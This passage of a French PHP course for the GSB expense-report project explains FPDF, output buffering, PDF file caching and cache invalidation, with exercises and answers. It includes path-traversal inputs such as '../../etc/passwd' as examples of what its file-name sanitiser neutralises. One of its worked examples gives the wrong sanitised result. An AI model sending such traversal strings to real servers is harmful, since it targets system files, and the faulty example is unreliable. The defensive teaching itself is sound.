// 4. Vérifier l'authentification
$idVisiteur = $_SESSION['idVisiteur'] ?? null;
if (!$idVisiteur) { ob_end_clean(); exit('Accès refusé'); }
// 5. Charger les données, générer le PDF
// ...
// 6. Vider le tampon et envoyer le PDF
ob_end_clean();
$pdf->Output('I', 'fiche.pdf');
PHP
Sécurité : même si le script est séparé, il faut vérifier que l'utilisateur est connecté ($_SESSION['idVisiteur']). Sinon n'importe qui peut accéder à telecharger_pdf.php?mois=202501 et télécharger des fiches de frais.
🖨️ FPDF — les fonctions essentielles
FPDF vs TCPDF vs mPDF
| Librairie | Avantages | Inconvénients |
|---|---|---|
| FPDF | Légère (1 fichier), simple, pas de dépendance | UTF-8 limité, pas de CSS |
| TCPDF | UTF-8 natif, HTML vers PDF | Lourde (~10 Mo) |
| mPDF | CSS complet, HTML → PDF fidèle | Lente, grosse dépendance |
| Dompdf | CSS3, Bootstrap compatible | Lente sur gros documents |
GSB utilise FPDF car elle est fournie dans les ressources du projet et ne nécessite pas d'installation supplémentaire.
SetFont — choisir la police
// SetFont($famille, $style, $taille)
// Familles : 'Arial', 'Times', 'Courier', 'Helvetica', 'Symbol', 'ZapfDingbats'
// Styles : '' (normal), 'B' (gras), 'I' (italique), 'U' (souligné), combinables 'BI'
// Taille : en points (1 point = 0,353 mm)
$pdf->SetFont('Arial', 'B', 12); // Arial gras 12pt
$pdf->SetFont('Arial', '', 9); // Arial normal 9pt (tableau)
PHP
Cell — dessiner une cellule
// Cell($largeur, $hauteur, $texte, $bordure, $retourLigne, $alignement, $remplissage)
// $largeur : en mm (0 = jusqu'au bord droit)
// $hauteur : en mm
// $bordure : 0 (aucun), 1 (tous), 'L','R','T','B' ou combinaison 'LR'
// $retour : 0 (même ligne), 1 (ligne suivante), 2 (début ligne suivante)
// $alignement : 'L' (gauche), 'C' (centré), 'R' (droite)
// $remplissage : true = utilise SetFillColor(), false = fond transparent
// En-tête de tableau (fond bleu, texte blanc, bordure partout)
$pdf->SetFillColor(51, 102, 153);
$pdf->SetTextColor(255, 255, 255);
$pdf->Cell(70, 8, 'Libellé', 1, 0, 'C', true);
$pdf->Cell(30, 8, 'Total', 1, 1, 'R', true); // retour à la ligne
// Ligne de données (zébrage : alternance fond blanc / bleu pâle)
$pdf->SetTextColor(0, 0, 0);
$fill = false;
foreach ($lignes as $l) {
$pdf->SetFillColor($fill ? 235 : 255, $fill ? 242 : 255, 255);
$pdf->Cell(70, 7, $l['libelle'], 1, 0, 'L', true);
$pdf->Cell(30, 7, $l['montant'], 1, 1, 'R', true);
$fill = !$fill; // bascule entre vrai et faux à chaque ligne
}
PHP
Ln, SetXY — se déplacer dans la page
$pdf->Ln(6); // saut de 6 mm vers le bas
$pdf->Ln(); // saut de la hauteur de la dernière cellule
$pdf->SetY(-15); // positionne à 15 mm du bas de page (Footer)
$pdf->SetXY(10, 50); // positionne à x=10mm, y=50mm depuis le coin haut-gauche
$pdf->GetY(); // retourne la position Y courante en mm
PHP
Header() et Footer() — pattern Template Method
// On étend FPDF pour surcharger Header() et Footer().
// FPDF les appelle automatiquement : Header() à chaque AddPage(),
// Footer() avant chaque nouvelle page et à la fin du document.
class GsbPdf extends FPDF
{
public function Header(): void
{
$this->SetFont('Arial', 'B', 14);
$this->SetFillColor(31, 73, 125);
$this->SetTextColor(255, 255, 255);
$this->Cell(0, 12, 'REMBOURSEMENT DE FRAIS ENGAGES', 0, 1, 'C', true);
}
public function Footer(): void
{
$this->SetY(-15); // 15 mm du bas
$this->SetFont('Arial', 'I', 8);
// {nb} est remplacé par AliasNbPages()
$this->Cell(0, 10, 'Page ' . $this->PageNo() . '/{nb}', 0, 0, 'C');
}
}
PHP
✏️ Exercice
- Quelle est la différence entre
Cell(0, 8, ...)etCell(100, 8, ...)? - Que signifie le paramètre
1pour$retourLignedansCell()? - Pourquoi doit-on appeler
AliasNbPages()avantAddPage()pour que{nb}fonctionne ?
Cell(0, 8, ...): largeur0= jusqu'au bord droit de la page (toute la largeur disponible).Cell(100, 8, ...): cellule exactement de 100 mm ; le curseur avance de 100 mm vers la droite.- Le 3ème paramètre de position de
Cell()est$retourLigne:0= le curseur reste sur la même ligne (à droite de la cellule),1= retour à la ligne (commeLn()),2= retour en dessous de la cellule. AliasNbPages()enregistre le marqueur{nb}avant que les pages soient créées. Si on l'appelle aprèsAddPage(), la première page est déjà initialisée sans ce marqueur dans son état interne →{nb}ne sera jamais remplacé dans le footer de cette page.
🔡 Encodage — le problème des accents avec FPDF
Pourquoi les accents ne s'affichent pas ?
FPDF 1.86 utilise les polices Latin-1 (ISO-8859-1 / windows-1252), pas UTF-8. Les chaînes PHP modernes sont en UTF-8. Le caractère "é" en UTF-8 est codé sur 2 octets (0xC3 0xA9), mais FPDF l'interprète comme 2 caractères distincts → affichage cassé.
// Solution : convertir UTF-8 → windows-1252 avant de passer à Cell()
$texte = 'Éléments forfaitisés'; // UTF-8 (PHP interne)
// iconv() convertit d'un encodage à un autre
// 'UTF-8' : encodage source
// 'windows-1252' : encodage cible (compatible polices FPDF)
// '//TRANSLIT' : translittère les caractères sans équivalent (optionnel)
$pdf->Cell(0, 8, iconv('UTF-8', 'windows-1252', $texte), 1, 1);
PHP
Alternatives modernes
| Solution | Description |
|---|---|
iconv('UTF-8', 'windows-1252', $s) | Standard, présent dans toutes les installs PHP |
mb_convert_encoding($s, 'windows-1252', 'UTF-8') | Alternative avec mbstring |
| Utiliser TCPDF ou mPDF | Support UTF-8 natif, plus de conversion nécessaire |
| FPDF avec polices Unicode | Possible mais complexe (tutoriels sur fpdf.org) |
Conseil pratique : créer une fonction helper t(string $s): string { return iconv('UTF-8', 'windows-1252', $s); } pour ne pas répéter le iconv() à chaque Cell().
📤 Output() et ob_start() — contrôler la sortie PHP
Le problème : "Cannot modify header information"
PHP ne peut pas envoyer d'en-têtes HTTP (header(), cookies, réponse FPDF) si du contenu a déjà été envoyé au navigateur. Une espace accidentelle avant <?php, un echo de débogage, ou une erreur PHP affichée : tout cela "ouvre" le flux HTTP et verrouille les en-têtes.
ob_start() — tampon de sortie
ob_start();
// Tout ce qui est "affiché" (echo, HTML, erreurs) est capturé en mémoire
// et NON envoyé immédiatement au navigateur.
// ... traitement ...
ob_end_clean(); // Vide le tampon SANS l'envoyer → les en-têtes sont libres
$pdf->Output('I', 'fiche.pdf'); // Envoie Content-Type: application/pdf + contenu
PHP
FPDF::Output() — les modes
| Mode | Comportement | Usage GSB |
|---|---|---|
'I' — Inline | Affiche dans le navigateur (lecteur PDF intégré) | ✅ Tâche 7 — "Télécharger PDF" |
'D' — Download | Force le téléchargement (Content-Disposition: attachment) | Alternative possible |
'F' — File | Sauvegarde dans un fichier côté serveur | ✅ Tâche 8 — mise en cache |
'S' — String | Retourne le PDF comme chaîne PHP | Pour email, tests |
// Mode 'I' : ouvre dans le navigateur
$pdf->Output('I', 'Fiche_Frais_202507.pdf');
// Mode 'F' : sauvegarde sur disque (Tâche 8 — cache)
$pdf->Output('F', '/var/www/gsb/cache/pdf/a118y_202507.pdf');
// Mode 'S' : récupère le PDF comme string pour envoi par email
$pdfString = $pdf->Output('S', '');
PHP
✏️ Exercice final — tâche 7
- Pourquoi ne peut-on pas appeler
header('Content-Type: application/pdf')si on a déjà fait unechoquelque part dans le script ? - Quelle est la différence entre
ob_end_clean()etob_end_flush()? - Réécris la ligne de Total du PDF pour que le fond soit vert (
RGB: 34, 197, 94) au lieu de bleu. - Pourquoi les lignes REFUSE ne sont-elles pas comptées dans le total du PDF ?
- Si un visiteur a effectué 750 km avec un véhicule 7 CV, quel montant s'affiche dans la colonne "Total" de la ligne Véhicule ?
- Quand PHP envoie
header(), les en-têtes HTTP doivent précéder tout le corps. Si unechoa déjà été exécuté, PHP a déjà envoyé les en-têtes implicitement → erreur "headers already sent". C'est pour ça qu'on utiliseob_start()en tête de script : il capture les sorties accidentelles dans un buffer au lieu de les envoyer immédiatement. ob_end_clean()vide le buffer et le désactive sans envoyer son contenu (on jette les sorties accidentelles).ob_end_flush()envoie le contenu du buffer au navigateur puis le désactive (on publie le contenu capturé).- Dans la méthode
Footer()ou avant la cellule du total :$this->SetFillColor(34, 197, 94); - Les lignes REFUSE ont été refusées par le comptable : le visiteur ne doit pas être remboursé pour ces dépenses. Dans le code, on vérifie
strpos($libelle, 'REFUSE') !== 0avant d'ajouter la ligne au total. - 7 CV ≥ 7 CV → plage "≥ 7 CV", 750 km ≤ 5 000 km → tranche 1 :
0,697 × 750 = 522,75 €.
🌱 Green-IT et mise en cache
Pourquoi le Green-IT ?
Le secteur numérique représente environ 4 % des émissions mondiales de CO₂ — plus que l'aviation civile. Chaque requête serveur consomme de l'électricité : CPU, RAM, disque, réseau. Le Green-IT cherche à réduire ces consommations inutiles.
Ici : une fiche de frais est immuable une fois clôturée. Régénérer le PDF à chaque clic est un gaspillage pur. La mise en cache évite ce travail inutile.
Ce que coûte chaque génération PDF (sans cache)
| Opération | Ressource |
|---|---|
| 3-4 requêtes SQL (SELECT forfait, HF, visiteur, infos) | CPU BDD + I/O disque |
| Calcul du barème URSSAF (boucles PHP) | CPU PHP |
| Génération FPDF (calculs de mise en page, encodage) | CPU PHP + RAM |
| Transfert réseau du fichier PDF (~50 Ko) | Bande passante |
Avec 150 visiteurs × 12 mois × quelques clics chacun = des milliers de génération inutiles par an.
Logique du cache — flowchart
Requête : telecharger_pdf.php?mois=202507
↓
is_file('pdf/a118y_202507.pdf') ?
↓
OUI ──────────→ readfile() → navigateur ← 0 BDD, 0 CPU, ~0ms
↓
NON
↓
SELECT BDD + calculs + FPDF
↓
file_put_contents('pdf/a118y_202507.pdf', $pdfContenu, LOCK_EX)
↓
header('Content-Type: application/pdf') + echo $pdfContenu
CONCEPT
Nommage sécurisé du fichier cache
// On construit le nom de fichier à partir de l'id visiteur + le mois
// preg_replace() supprime tous les caractères qui ne sont PAS
// alphanumériques ou underscore — évite les path traversal attacks :
// un idVisiteur malicieux comme "../../etc/passwd" deviendrait "etcpasswd"
$nomFichier = preg_replace('/[^a-z0-9_]/i', '', $idVisiteur . '_' . $mois) . '.pdf';
$chemin = PATH_PDF . $nomFichier;
// Exemple : 'a118y_202507.pdf' → '../pdf/a118y_202507.pdf'
PHP
Path traversal : si un attaquant envoie mois=../../config/bdd, le preg_replace le transforme en etcconfigbdd — inoffensif. Sans cette protection, il pourrait écraser des fichiers sensibles.
📂 readfile() — servir un fichier sans le charger en RAM
readfile() vs file_get_contents() + echo
// ❌ Mauvaise approche : charge TOUT le fichier en mémoire PHP
$contenu = file_get_contents($chemin); // PDF entier en RAM
echo $contenu; // puis copié dans la sortie
// ✅ Bonne approche : stream par blocs, sans charger en mémoire
readfile($chemin); // lit et envoie par blocs (8 Ko par défaut)
PHP
Pour un PDF de 100 Ko, la différence est négligeable. Mais pour de nombreuses requêtes simultanées ou de gros fichiers, readfile() consomme bien moins de RAM.
En-têtes HTTP pour un PDF
// Content-Type : indique au navigateur que c'est un PDF (MIME type)
header('Content-Type: application/pdf');
// Content-Disposition: inline → affiche dans le navigateur
// Content-Disposition: attachment → force le téléchargement
header('Content-Disposition: inline; filename="fiche.pdf"');
// Cache-Control: private → ne pas mettre en cache dans les proxies
// (données personnelles — chaque visiteur a SA fiche)
header('Cache-Control: private, max-age=0, must-revalidate');
// Content-Length : taille exacte en octets (permet la barre de progression)
header('Content-Length: ' . filesize($chemin));
readfile($chemin);
PHP
Output('S') — récupérer le PDF comme chaîne
// On NE PEUT PAS appeler Output() deux fois sur le même objet FPDF.
// Solution : Output('S') retourne le PDF comme string PHP.
// On peut alors :
// 1. Sauvegarder sur disque (cache)
// 2. Envoyer au navigateur (echo)
$pdfContenu = $pdf->Output('S', ''); // '' = nom ignoré en mode S
// Écriture atomique avec verrou exclusif
file_put_contents($chemin, $pdfContenu, LOCK_EX);
// Envoi au navigateur
header('Content-Type: application/pdf');
header('Content-Length: ' . strlen($pdfContenu));
echo $pdfContenu;
PHP
LOCK_EX : si deux visiteurs cliquent simultanément pour la même fiche (peu probable, mais possible), LOCK_EX garantit que le fichier ne sera pas écrit deux fois en même temps (corruption évitée).
🗑️ Invalidation du cache
Quand le cache est-il périmé ?
La fiche peut être modifiée par la comptabilité APRÈS que le visiteur ait téléchargé son PDF :
- La comptabilité refuse une ligne hors-forfait (
refuserHF) - La comptabilité corrige une quantité forfaitisée (
valider)
Dans ces cas, le PDF en cache montre des données incorrectes. On l'invalide en supprimant le fichier — la prochaine requête régénèrera un PDF à jour.
Invalidation dans c_validerFiche.php
// Fonction déclarée dans le contrôleur — proche du code qui modifie la fiche
function invaliderCachePdf(string $idVisiteur, string $mois): void
{
$nom = preg_replace('/[^a-z0-9_]/i', '', $idVisiteur . '_' . $mois) . '.pdf';
$chemin = PATH_PDF . $nom;
if (is_file($chemin)) {
@unlink($chemin); // @ supprime le warning si absent
}
}
// Appelée après chaque modification :
case 'refuserHF':
$pdo->refuserFraisHorsForfait($idFrais);
invaliderCachePdf($idVisiteur, $mois); // ← Tâche 8
break;
case 'valider':
$pdo->majFraisForfait(...);
$pdo->majEtatFicheFrais($idVisiteur, $mois, ETAT_VA);
invaliderCachePdf($idVisiteur, $mois); // ← Tâche 8
break;
PHP
unlink() — supprimer un fichier
| Fonction | Rôle |
|---|---|
unlink($chemin) | Supprime un fichier. Retourne false si absent ou erreur de permissions. |
@unlink($chemin) | Idem, mais le @ supprime le warning PHP si le fichier est déjà absent. |
is_file($chemin) | Teste si le fichier existe (true uniquement pour les fichiers, pas les dossiers). |
file_exists($chemin) | Teste si le chemin existe (fichier OU dossier). |
mkdir($chemin, 0755, true) | Crée un dossier (et ses parents si true) avec les permissions 755. |
✏️ Exercice final — tâche 8
- Que se passe-t-il si deux visiteurs téléchargent simultanément leur PDF pour la première fois ? Pourquoi
LOCK_EXest-il important ici ? - Expliquez la différence entre
Cache-Control: privateetCache-Control: public. Lequel doit-on utiliser pour une fiche de frais personnelle ? - La fonction
invaliderCachePdf()utilisepreg_replace('/[^a-z0-9_]/i', '', $s). Quel serait le résultat si$idVisiteurcontenait"../../etc/passwd"? - Proposez une stratégie de cache alternative : au lieu de supprimer le fichier lors de l'invalidation, comment pourrait-on utiliser une date d'expiration ?
- Dans quel dossier sont stockés les PDFs en cache ? Pourquoi ce dossier ne doit-il PAS être dans
public/?
- Les deux entrent simultanément dans le "cache miss" et génèrent chacun leur PDF. Sans
LOCK_EX, ils écriraient en même temps dans le même fichier → fichier corrompu.LOCK_EX(verrou exclusif) garantit qu'un seul processus écrit à la fois ; le second attend que le premier ait terminé. Cache-Control: private: le PDF ne peut être mis en cache que par le navigateur du visiteur (pas par un proxy ou un CDN).Cache-Control: public: tout intermédiaire peut le mettre en cache. Pour une fiche de frais personnelle → obligatoirementprivatepour éviter qu'un autre utilisateur accède à la fiche mise en cache par un proxy.preg_replace('/[^a-z0-9_]/i', '', '../../etc/passwd')→ supprime/et.→ résultat :"etcpasswd". Le fichier cherché seraitpdf/etcpasswd.pdf, pas/etc/passwd. Le path traversal est totalement neutralisé.- Stratégie par date d'expiration : inclure le timestamp de dernière modification de la fiche dans le nom du fichier cache (
a118y_202401_1714000000.pdf). Au lieu de supprimer, on compare la date du fichier cache avec la date de modification en BDD : si le cache est plus ancien → on régénère. - Les PDFs sont dans
pdf/à la racine du projet, hors depublic/. Si ce dossier était danspublic/, n'importe qui connaissant le nom du fichier pourrait télécharger directement la fiche de frais de n'importe quel visiteur, sans passer par l'authentification.